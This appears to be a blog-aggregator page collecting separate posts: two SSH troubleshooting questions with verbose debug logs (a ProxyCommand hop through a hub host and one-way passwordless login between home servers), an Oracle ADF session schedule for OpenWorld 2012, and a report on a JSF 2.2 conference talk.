  We have the following ssh hop setup: localhost -> hub -> server hubuser@hub accepts the public key for localuser@localhost. serveruser@server accepts the public key for hubuser@hub. So we are issuing ssh -t hubuser@hub ssh serveruser@server for connecting to server. The problem with this setup is we can not scp directly to the server. I tried creating .ssh/config file like this: Host server user serveruser port 22 hostname server ProxyCommand ssh -q hubuser@hub 'nc %h %p' But I am not able to connect (yigit is localuser): $ ssh serveruser@server -v OpenSSH_6.1p1, OpenSSL 1.0.1c 10 May 2012 debug1: Reading configuration data /home/yigit/.ssh/config debug1: /home/yigit/.ssh/config line 19: Applying options for server debug1: Reading configuration data /etc/ssh/ssh_config debug1: Executing proxy command: exec ssh -q hubuser@hub 'nc server 22' debug1: permanently_drop_suid: 1000 debug1: identity file /home/yigit/.ssh/id_rsa type 1000 debug1: identity file /home/yigit/.ssh/id_rsa-cert type -1 debug1: identity file /home/yigit/.ssh/id_dsa type -1 debug1: identity file /home/yigit/.ssh/id_dsa-cert type -1 debug1: identity file /home/yigit/.ssh/id_ecdsa type -1 debug1: identity file /home/yigit/.ssh/id_ecdsa-cert type -1 debug1: Remote protocol version 2.0, remote software version OpenSSH_5.9p1 Debian-5ubuntu1 debug1: match: OpenSSH_5.9p1 Debian-5ubuntu1 pat OpenSSH_5* debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_6.1 debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: server->client aes128-ctr hmac-md5 none debug1: kex: client->server aes128-ctr hmac-md5 none debug1: sending SSH2_MSG_KEX_ECDH_INIT debug1: expecting SSH2_MSG_KEX_ECDH_REPLY debug1: Server host key: ECDSA cb:ee:1f:78:82:1e:b4:39:c6:67:6f:4d:b4:01:f2:9f debug1: Host 'server' is known and matches the ECDSA host key. debug1: Found key in /home/yigit/.ssh/known_hosts:33 debug1: ssh_ecdsa_verify: signature correct debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug1: SSH2_MSG_NEWKEYS received debug1: Roaming not allowed by server debug1: SSH2_MSG_SERVICE_REQUEST sent debug1: SSH2_MSG_SERVICE_ACCEPT received debug1: Authentications that can continue: publickey debug1: Next authentication method: publickey debug1: Offering RSA public key: /home/yigit/.ssh/id_rsa debug1: Authentications that can continue: publickey debug1: Trying private key: /home/yigit/.ssh/id_dsa debug1: Trying private key: /home/yigit/.ssh/id_ecdsa debug1: No more authentication methods to try. Permission denied (publickey). Notice that it is trying to use the public key localuser@localhost for authenticating on server and fails since it is not the right one. Is it possible to modify the ProxyCommand so that the key for hubuser@hub is used for authenticating on server?

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• Why isn't passwordless ssh working?

  - by Nelson

  I have two Ubuntu Server machines sitting at home. One is 192.168.1.15 (we'll call this 15), and the other is 192.168.1.25 (we'll call this 25). For some reason, when I want to setup passwordless login from 15 to 25, it works like a champ. When I repeat the steps on 25, so that 25 can login without a password on 15, no dice. I have checked both sshd_config files. Both have: RSAAuthentication yes PubkeyAuthentication yes I have checked permissions on both servers: drwx------ 2 bion2 bion2 4096 Dec 4 12:51 .ssh -rw------- 1 bion2 bion2 398 Dec 4 13:10 authorized_keys On 25. drwx------ 2 shimdidly shimdidly 4096 Dec 4 19:15 .ssh -rw------- 1 shimdidly shimdidly 1018 Dec 4 18:54 authorized_keys On 15. I just don't understand when things would work one way and not the other. I know it's probably something obvious just staring me in the face, but for the life of me, I can't figure out what is going on. Here's what ssh -v says when I try to ssh from 25 to 15: ssh -v -p 51337 192.168.1.15 OpenSSH_5.9p1 Debian-5ubuntu1, OpenSSL 1.0.1 14 Mar 2012 debug1: Reading configuration data /etc/ssh/ssh_config debug1: /etc/ssh/ssh_config line 19: Applying options for * debug1: Connecting to 192.168.1.15 [192.168.1.15] port 51337. debug1: Connection established. debug1: identity file /home/shimdidly/.ssh/id_rsa type 1 debug1: Checking blacklist file /usr/share/ssh/blacklist.RSA-2048 debug1: Checking blacklist file /etc/ssh/blacklist.RSA-2048 debug1: identity file /home/shimdidly/.ssh/id_rsa-cert type -1 debug1: identity file /home/shimdidly/.ssh/id_dsa type 2 debug1: Checking blacklist file /usr/share/ssh/blacklist.DSA-1024 debug1: Checking blacklist file /etc/ssh/blacklist.DSA-1024 debug1: identity file /home/shimdidly/.ssh/id_dsa-cert type -1 debug1: identity file /home/shimdidly/.ssh/id_ecdsa type -1 debug1: identity file /home/shimdidly/.ssh/id_ecdsa-cert type -1 debug1: Remote protocol version 2.0, remote software version OpenSSH_5.9p1 Debian-5ubuntu1 debug1: match: OpenSSH_5.9p1 Debian-5ubuntu1 pat OpenSSH* debug1: Enabling compatibility mode for protocol 2.0 debug1: Local version string SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1 debug1: SSH2_MSG_KEXINIT sent debug1: SSH2_MSG_KEXINIT received debug1: kex: server->client aes128-ctr hmac-md5 none debug1: kex: client->server aes128-ctr hmac-md5 none debug1: sending SSH2_MSG_KEX_ECDH_INIT debug1: expecting SSH2_MSG_KEX_ECDH_REPLY debug1: Server host key: ECDSA 54:5c:60:80:74:ab:ab:31:36:a1:d3:9b:db:31:2a:ee debug1: Host '[192.168.1.15]:51337' is known and matches the ECDSA host key. debug1: Found key in /home/shimdidly/.ssh/known_hosts:2 debug1: ssh_ecdsa_verify: signature correct debug1: SSH2_MSG_NEWKEYS sent debug1: expecting SSH2_MSG_NEWKEYS debug1: SSH2_MSG_NEWKEYS received debug1: Roaming not allowed by server debug1: SSH2_MSG_SERVICE_REQUEST sent debug1: SSH2_MSG_SERVICE_ACCEPT received debug1: Authentications that can continue: publickey,password debug1: Next authentication method: publickey debug1: Offering RSA public key: /home/shimdidly/.ssh/id_rsa debug1: Authentications that can continue: publickey,password debug1: Offering DSA public key: /home/shimdidly/.ssh/id_dsa debug1: Authentications that can continue: publickey,password debug1: Trying private key: /home/shimdidly/.ssh/id_ecdsa debug1: Next authentication method: password

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• Oracle ADF Coverage at OOW

  - by Frank Nimphius

  Below is the schedule for all ADF related sessions at a glance. Note the Meet and greet session added for Wednesday Octiber 3rd from 4.30 pm to 5:30. Oracle ADF and Fusion Development General Session Mon 1 Oct, 2012 Time Title Location 10:45 AM - 11:45 AM General Session: The Future of Development for Oracle Fusion—From Desktop to Mobile to Cloud Marriott Marquis - Salon 8 12:15 PM - 1:15 PM General Session: Extend Oracle Fusion Apps to Tablets/Smartphones with Oracle Mobile Technology Moscone West - 3014 1:45 PM - 2:45 PM General Session: Extend Oracle Applications to Mobile Devices with Oracle’s Mobile Technologies Moscone West - 3002/3004 4:45 PM - 5:45 PM General Session: Building Mobile Applications with Oracle Cloud Moscone West - 2002/2004 Conference Session Mon 1 Oct, 2012 Time Title Location 12:15 PM - 1:15 PM Understanding Oracle ADF and Its Role in Oracle Fusion Moscone South - 306 1:45 PM - 2:45 PM Building Performant Oracle ADF Business Components to Meet Tomorrow’s Needs Marriott Marquis - Golden Gate C3 3:15 PM - 4:15 PM End-to-End Oracle ADF Development in Eclipse Marriott Marquis - Golden Gate C3 4:45 PM - 5:45 PM Classic Mistakes with Oracle Application Development Framework Marriott Marquis - Salon 7 Tues 2 Oct, 2012 Time Title Location 10:15 AM - 11:15 AM One Size Doesn’t Fit All: Oracle ADF Architecture Fundamentals Marriott Marquis - Golden Gate C2 10:15 AM - 11:15 AM Oracle Business Process Management/Oracle ADF Integration Best Practices Marriott Marquis - Golden Gate C3 11:45 AM - 12:45 PM Mobile-Enable Oracle Fusion Middleware and Enterprise Applications with Oracle ADF Moscone South - 306 11:45 AM - 12:45 PM Secrets of Successful Projects with Oracle Application Development Framework Marriott Marquis - Golden Gate C2 1:15 PM - 2:15 PM Develop On-Device iPhone and iPad Apps Without Writing Any Objective-C Code Marriott Marquis - Golden Gate C2 1:15 PM - 2:15 PM BPM, SOA, and Oracle ADF Combined: Patterns Learned from Oracle Fusion Applications Moscone West - 3003 1:15 PM - 2:15 PM The Future of Forms Is … Oracle Forms (and Friends) Moscone South - 306 5:00 PM - 6:00 PM Best Practices for Integrating SOAP and REST Service into Oracle ADF Marriott Marquis - Golden Gate C2 Wed 3 Oct, 2012 Time Title Location 10:15 AM - 11:15 AM Mobile Apps for Oracle E-Business Suite with Oracle ADF Mobile and Oracle SOA Suite Moscone West - 3001 10:15 AM - 11:15 AM Visualize This! Best Practices for Data Visualization in Desktop and Mobile Apps Marriott Marquis - Golden Gate C3 10:15 AM - 11:15 AM Set Up Your Oracle ADF Project and Development Team for Productivity: Seven Essential Tips Marriott Marquis - Golden Gate C2 11:45 AM - 12:45 PM How to Migrate an Oracle Forms Application to Oracle ADF Marriott Marquis - Golden Gate C2 1:15 PM - 2:15 PM Oracle ADF: Lessons Learned in Real-World Implementations Moscone South - 309 3:30 PM - 4:30 PM Oracle ADF Implementations Around the Globe: Best Practices Marriott Marquis - Golden Gate C2 3:30 PM - 4:30 PM Oracle Developer Cloud Services Marriott Marquis - Salon 7 4:30 PM - 5:30 PM Oracle JDeveloper and Oracle ADF: What’s New Hilton San Francisco - Continental Ballroom 5 5:00 PM - 6:00 PM Mobile Solutions for Oracle E-Business Suite Applications: Technical Insight Moscone West - 2020 5:00 PM - 6:00 PM Extending Social into Enterprise Applications and Business Processes Marriott Marquis - Golden Gate C3 5:00 PM - 6:00 PM The Tie That Binds: An Introduction to Oracle ADF Bindings Marriott Marquis - Golden Gate C2 Thur 4 Oct, 2012 Time Title Location 11:15 AM - 12:15 PM Using Oracle ADF with Oracle E-Business Suite: The Full Integration View Moscone West - 3003 11:15 AM - 12:15 PM Deep Dive into Oracle ADF: Advanced Techniques Marriott Marquis - Golden Gate C2 12:45 PM - 1:45 PM Monitor, Analyze, and Troubleshoot Your Oracle ADF Application Marriott Marquis - Golden Gate C2 2:15 PM - 3:15 PM Oracle WebCenter Portal: Creating and Using Content Presenter Templates Marriott Marquis - Golden Gate C2 HOL (Hands-on Lab) Mon 1 Oct, 2012 Time Title Location 10:45 AM - 11:45 AM Developing Applications for Mobile iOS and Android Devices with Oracle ADF Mobile: Hands-on Lab Marriott Marquis - Salon 10A 1:45 PM - 2:45 PM Build Mobile Applications for Oracle E-Business Suite Marriott Marquis - Salon 10A 3:15 PM - 4:15 PM Developing Applications for Mobile iOS and Android Devices with Oracle ADF Mobile: Hands-on Lab Marriott Marquis - Salon 10A 3:15 PM - 4:15 PM Introduction to Oracle ADF: Hands-on Lab Marriott Marquis - Salon 3/4 4:45 PM - 5:45 PM Application Lifecycle Management with Oracle JDeveloper: Hands-on Lab Marriott Marquis - Salon 3/4 Tues 2 Oct, 2012 Time Title Location 10:15 AM - 11:15 AM Developing Applications for Mobile iOS and Android Devices with Oracle ADF Mobile: Hands-on Lab Marriott Marquis - Salon 10A 5:00 PM - 6:00 PM Developing Applications for Mobile iOS and Android Devices with Oracle ADF Mobile: Hands-on Lab Marriott Marquis - Salon 10A Wed 3 Oct, 2012 Time Title Location 10:15 AM - 11:15 AM Introduction to Oracle ADF: Hands-on Lab Marriott Marquis - Salon 3/4 11:45 AM - 12:45 PM Developing Applications for Mobile iOS and Android Devices with Oracle ADF Mobile: Hands-on Lab Marriott Marquis - Salon 10A 1:15 PM - 2:15 PM Build Mobile Applications for Oracle E-Business Suite Marriott Marquis - Salon 10A 3:30 PM - 4:30 PM Developing Applications for Mobile iOS and Android Devices with Oracle ADF Mobile: Hands-on Lab Marriott Marquis - Salon 10A 5:00 PM - 6:00 PM Developing Applications for Mobile iOS and Android Devices with Oracle ADF Mobile: Hands-on Lab Marriott Marquis - Salon 10A Thur 4 Oct, 2012 Time Title Location 11:15 AM - 12:15 PM Developing Applications for Mobile iOS and Android Devices with Oracle ADF Mobile: Hands-on Lab Marriott Marquis - Salon 10A 11:15 AM - 12:15 PM Introduction to Oracle ADF: Hands-on Lab Marriott Marquis - Salon 3/4 12:45 PM - 1:45 PM Oracle ADF for Java EE Developers with Oracle Enterprise Pack for Eclipse Marriott Marquis - Salon 3/4 BOF (Birds-of-a-Feather) Mon 1 Oct, 2012 Time Title Location 6:15 PM - 7:00 PM How to Get Started with Oracle ADF Marriott Marquis - Club Room 7:15 PM - 8:00 PM Building Next-Generation Applications with Oracle ADF and Oracle BPM Marriott Marquis - Golden Gate C3 7:15 PM - 8:00 PM The Future of Oracle Forms: Upgrade, Modernize, or Migrate? Marriott Marquis - Golden Gate C2 7:15 PM - 8:00 PM Oracle ADF Faces: One Site for Many Devices Marriott Marquis - Golden Gate C1 - User Group Forum (Sunday Only) Sun 30 Sept, 2012 Time Title Location 9:00 AM - 10:00 AM Oracle ADF Immersion: How an Oracle Forms Developer Immersed Himself in the Oracle ADF World Moscone South - 305 10:15 AM - 11:15 AM Deploy with Joy: Using Hudson to Build and Deploy Your Oracle ADF Applications Moscone South - 305 11:30 AM - 12:30 PM ADF EMG User Group: A Peek into the Oracle ADF Architecture of Oracle Fusion Applications Moscone South - 305 12:45 PM - 3:45 PM ADF EMG User Group: Oracle Fusion Middleware Live Application Development Demo Moscone South - 305 3:15 PM - 4:15 PM Mobile Development with Oracle JDeveloper and Oracle ADF Moscone West - 2010 Demos Demo Location Developer Moscone North, Upper Lobby - N-002 Oracle ADF Mobile Development Moscone North, Upper Lobby - N-001 Oracle Eclipse Projects Hilton San Francisco, Grand Ballroom - HHJ-008 Oracle Enterprise Pack for Eclipse Moscone South, Right - S-208 Oracle JDeveloper and Oracle ADF Moscone South, Right - S-207 Exhibits 0 Exhibitor Location Accenture Moscone South - 1813 Moscone South - 2221 Infosys Moscone South - 1701 Moscone South - SMR-005 Innowave Technology Moscone South - 2309 ODTUG Moscone West, Level 2 Lobby - Kiosk in the User Groups Pavilion Oracle ADF Developers Meet Up Wednesday, Oct 03 Time Activity Location 4:30 PM - 5:30 PM Stop by the OTN Lounge and meet other Oracle ADF & Fusion developers as well as product managers and engineers who work on Oracle ADF, ADF Mobile and ADF Essentials. Feedback and questions welcome, or simply stop by and say ‘hi!’ and enjoy free beer. OTN Lounge

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• Session Report: What’s New in JSF: A Complete Tour of JSF 2.2

  - by Janice J. Heiss

  On Wednesday, Ed Burns, Consulting Staff Member at Oracle, presented a session, CON3870 -- “What’s New in JSF: A Complete Tour of JSF 2.2,” in which he provided an update on recent developments in JavaServer Faces 2.2. He began by emphasizing that, “JavaServer Faces 2.2 continues the evolution of the Java EE standard user interface technology. Like previous releases, this iteration is very community-driven and transparent.” He pointed out that since JSF was introduced at the 2001 JavaOne Keynote, it has had a long and successful run and has found a home in applications where the UI logic resides entirely on the server where the model and UI logic is. In such cases, the browser performs fairly simple functions. However, developers can take advantage of the power of browsers, something that Project Avatar is focused on by letting developers author their applications so the UI logic is running on the client and communicating to the back end via RESTful web services. “Most importantly,” remarked Burns, “JSF 2.2 offers a really good migration path because even in the scope of one application you could have an app written with JSF that has its UI logic on the server and, on a gradual basis, you could migrate parts of the app over to use client-side technologies. This can be done at any level of granularity – per page or per collection of pages. It all depends on what you want to do.” His presentation, which focused on the basic new features of JSF 2.2, began by restating the scope of JSF and encouraged attendees to check out Roger Kitain’s session: CON5133 “Techniques for Responsive Real-Time Web UIs.” Burns explained that JSF has endured because, “We still need web apps that are maintainable, localizable, quick to build, accessible, secure, look great and are fun to use.” It is used on every continent – the curious can go here to check out where its unofficial usage is tracked. He emphasized the significance of the UI logic being substantially on the server. This: Separates Component Semantics from Rendering, Allows components to “own” their little patch of the UI -- encode/decode, And offers a well-defined lifecycle: Inversion of Control. Burns reminded attendees that JSR-344, the spec for JSF 2.2, is now on Java Community Process 2.8, a revised version of the JCP that allows for more openness and transparency. He then offered some tools for community access to JSF 2.2:    * Public java.net projects spec http://jsf-spec.java.net/ impl http://jsf.java.net/ Open Source: GPL+Classpath Exception    * Mailing Lists [email protected]                                Public readable archive, JSPA signed member read/write [email protected]                                     Public readable archive, any java.net member read/write                         All mail sent to jsr344-experts is sent to users. * Issue Tracker spec http://jsf-spec.java.net/issues/ impl http://jsf.java.net/issues/ JSF 2.2, which is JSR 344, has a Public Review Draft planned by December 2012 with no need for a Renewal Ballot. The Early Draft Review of JSR 344 was published on December 8, 2011. Interested developers are encouraged to offer their input. Six Big Ticket Features of JSF 2.2 Burns summarized the six big ticket features of JSF 2.2:* HTML5 Friendly Markup Support Pass through attributes and elements * Faces Flows* Cross Site Request Forgery Protection* Loading Facelets via ResourceHandler* File Upload Component* Multi-Templating He explained that he called it “HTML 5 friendly” because there is really nothing HTML 5 specific about it -- it could be 4. But it enables developers to use new elements that are present in HTML5 without having a JSF component library that is written to take advantage of those specifically. It gives the page author the ability to use plain HTML5 to write their page, but to still take advantage of the server-side available in JSF. He presented a demo showing JSF 2.2’s ability to leverage the expressiveness of HTML5. Burns then explained the significance of face flows, which offer function points and quantify how much work has taken place, something of great value to JSF users. He went on to talk about JSF 2.2.’s cross-site request forgery protection (CSRF) and offered details about how it protects applications against attack. Then he talked about JSF 2.2’s File Upload Component and explained that the final specification will have Ajax and non-Ajax support. The current milestone has non-Ajax support implemented. He then went on to explain its capacity to add facelets through ResourceHandler. Previously, JSF 2.0 added Facelets and ResourceHandler as disparate units; now in JSF 2.2 the two concepts are unified. Finally, he explained the concept of multi-templating in JSF 2.2 and went on to discuss more medium-level features of the release. For an easy, low maintenance way of staying in touch with JSF developments go to JSF’s Twitter page where every month or so, important updates are offered.

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